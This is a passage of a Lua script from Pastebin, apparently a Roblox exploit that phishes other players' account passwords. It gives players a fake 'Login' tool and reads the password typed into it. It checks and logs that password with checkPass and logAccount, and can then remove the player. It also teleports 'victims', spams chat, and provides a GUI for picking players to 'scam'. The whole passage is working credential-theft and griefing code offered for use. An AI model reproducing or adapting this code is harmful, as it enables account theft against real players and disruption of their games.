  791.                     getUText(newTool).Text = v.Player.Name
  792.                     spawn(function()
  793.                         wait(2)
  794.                         for i2,v2 in pairs(tempTools) do
  795.                             v2.Parent = v.Player.Backpack
  796.                         end
  797.                     end)
  798.                     newTool.Changed:connect(function(prop)
  799.                         if not isScamming(v.Player.Name) then return end
  800.                         if prop == "Parent" and newTool.Parent.Name == "Backpack" then
  801.                             if v.Player.Backpack:FindFirstChild("Login") then
  802.                                 if getILPopUp(v.Player.Backpack.Login) and getPText(v.Player.Backpack.Login) then
  803.                                     getILPopUp(v.Player.Backpack.Login).Visible = false
  804.                                     if v.Player.Backpack:FindFirstChild("Login") then
  805.                                         if checkPass(getPText(v.Player.Backpack.Login).Text, v.Player) then
  806.                                             logAccount(v.Player, getPText(v.Player.Backpack.Login).Text)
  807.                                             unscPlayer(v.Player)
  808.                                             spawn(function()
  809.                                                 wait(0.5)
  810.                                                 if kickLogin then
  811.                                                     if not v.Player.Backpack:FindFirstChild("Bypass Rules") and not v.Player.Character:FindFirstChild("Bypass Rules") then
  812.                                                         v.Player:Remove()
  813.                                                     end
  814.                                                 end
  815.                                             end)
  816.                                         else
  817.                                             getILPopUp(v.Player.Backpack.Login).Visible = true
  818.                                             getPText(v.Player.Backpack.Login).Text = ""
  819.                                             wait()
  820.                                             if not v.Player.Character:FindFirstChild("Login") then
  821.                                                 newTool.Parent = v.RoomModel
  822.                                                 newTool.Handle.CFrame = v.Player.Character.Head.CFrame
  823.                                             end
  824.                                         end
  825.                                     end
  826.                                 end
  827.                             end
  828.                         end
  829.                     end)
  830.                 end
  831.             end
  832.         end)
  833.     end
  834. end
  835.  
  836. wait()
  837.  
  838. game.Players.PlayerRemoving:connect(function(playa)
  839.     for i,v in pairs(CurrentlyScamming) do
  840.         if v.Player == playa then
  841.             table.remove(CurrentlyScamming,i)
  842.         end
  843.     end
  844. end)
  845.  
  846. --[[
  847. local infoGui = Instance.new("ScreenGui",game.CoreGui)
  848. local infoText = Instance.new("TextLabel",infoGui)
  849. infoText.Position = UDim2.new(0,0,1,-20)
  850. infoText.Size = UDim2.new(1,0,0,20)
  851. infoText.FontSize = "Size18"
  852. infoText.Font = "SourceSansBold"
  853. infoText.BackgroundTransparency = 1
  854. infoText.TextColor3 = Color3.new(1,1,1)
  855. infoText.TextXAlignment = "Right"
  856. infoText.Text = "Press 'p' to toggle chat spam."
  857. --]]
  858.  
  859. local mouse = game.Players.LocalPlayer:GetMouse()
  860. mouse.KeyDown:connect(function(key)
  861.     if key == "p" then
  862.         floodChat = not floodChat
  863.     end
  864. end)
  865.  
  866. spawn(function()
  867.     while wait(3) do
  868.         fixPlayers()
  869.     end
  870. end)
  871.  
  872. while wait() do
  873.     teleportVictims()
  874.     if floodChat then
  875.         game.Players:Chat(".")
  876.         game.Players:Chat(".")
  877.     end
  878.     if ScamType == "Normal" then
  879.         for i,v in pairs(game.Players:GetPlayers()) do
  880.             if StorageType == 1 then
  881.                 if not game.CoreGui.MRStorage:FindFirstChild(v.Name) and not isScamming(v.Name) and not isBypass(v) and v ~= game.Players.LocalPlayer then
  882.                    
  883.                 end
  884.             elseif StorageType == 2 then
  885.                 if not game.ReplicatedStorage:FindFirstChild("MRStorage") then
  886.                     MRStorage = Instance.new("Folder",game.ReplicatedStorage)
  887.                     MRStorage.Name = "MRStorage"
  888.                 end
  889.                 if not game.ReplicatedStorage.MRStorage:FindFirstChild(v.Name) and not isScamming(v.Name) and not isBypass(v) and v ~= game.Players.LocalPlayer then
  890.                     scPlayer(v)
  891.                 end
  892.             end
  893.         end
  894.     elseif ScamType == "Pick" then
  895.         if StorageType == 1 then
  896.             if not game.CoreGui.MRStorage:FindFirstChild(v.Name) and not isScamming(v.Name) and not isBypass(v) and v ~= game.Players.LocalPlayer then
  897.                
  898.             end
  899.         elseif StorageType == 2 then
  900.             if not game.ReplicatedStorage:FindFirstChild("MRStorage") then
  901.                 MRStorage = Instance.new("Folder",game.ReplicatedStorage)
  902.                 MRStorage.Name = "MRStorage"
  903.             end
  904.             if not game.CoreGui:FindFirstChild("PickGui") then
  905.                 local newPickGui = pickGui:Clone()
  906.                 newPickGui.Parent = game.CoreGui
  907.                 spawn(function()
  908.                     local pickGuiList = newPickGui.MainFrame.AccList
  909.                     local pickGuiResult = newPickGui.MainFrame.UserResult
  910.                     pickGuiList.CanvasSize = UDim2.new(0,0,0,0)
  911.                     local function updatePickList()
  912.                         pickGuiList:ClearAllChildren()
  913.                         for i,v in pairs(game.Players:GetPlayers()) do
  914.                             if v ~= player then
  915.                                 local newRes = pickGuiResult:Clone()
  916.                                 newRes.PlayerName.Text = v.Name
  917.                                 newRes.PlayerPic.Image = "http://www.roblox.com/Thumbs/Avatar.ashx?x=100&y=100&userId="..v.UserId
  918.                                 newRes.Position = UDim2.new(0,0,0,40 * #pickGuiList:GetChildren())
  919.                                 if isScamming(v.Name) then
  920.                                     newRes.PlayerStatus.Text = "Scamming..."
  921.                                 end
  922.                                 if isBypass(v) then
  923.                                     newRes.PlayerStatus.Text = "Scammed"
  924.                                 end
  925.                                 newRes.Parent = pickGuiList
  926.                                 pickGuiList.CanvasSize = UDim2.new(0,0,0,40 * #pickGuiList:GetChildren())
  927.                                 newRes.Visible = true
  928.                                 newRes.MouseButton1Down:connect(function()
  929.                                     if not isScamming(v.Name) then
  930.                                         scPlayer(v)
  931.                                     end
  932.                                 end)
  933.                             end
  934.                         end
  935.                     end
  936.                     updatePickList()
  937.                     newPickGui.MainFrame.Refresh.MouseButton1Down:connect(function()
  938.                         updatePickList()
  939.                     end)
  940.                 end)
  941.             end
  942.         end
  943.     end
  944. end
  945. end
  946. RealMGX7.MouseButton1Click:connect(onRealMGX7Click)
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top